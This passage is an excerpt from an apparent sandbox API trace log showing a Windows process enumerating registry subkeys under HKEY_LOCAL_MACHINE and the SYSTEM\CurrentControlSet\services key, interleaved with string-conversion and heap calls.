lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0251.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.154] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0251.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0251.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.154] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0251.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0251.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.155] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0251.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0251.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.155] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0251.155] RegCloseKey (hKey=0x80000002) returned 0x0 [0251.155] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0251.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0251.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.155] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0251.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0251.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.156] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0251.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0251.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1b68, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0251.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.156] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0251.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0251.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.156] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0251.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0251.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.157] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0251.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0251.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.157] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0251.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0251.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.157] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0251.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0251.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.158] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0251.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0251.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.158] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0251.158] RegCloseKey (hKey=0xc4) returned 0x0 [0251.158] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0251.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0251.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.158] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0251.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0251.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.158] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0251.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0251.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.159] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0251.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0251.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.159] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0251.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0251.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.159] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0251.159] RegCloseKey (hKey=0x14c) returned 0x0 [0251.159] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0251.159] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0251.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.160] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0251.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0251.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f18e0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0251.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.160] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0251.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0251.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1b68, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0251.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.160] RtlFreeHeap 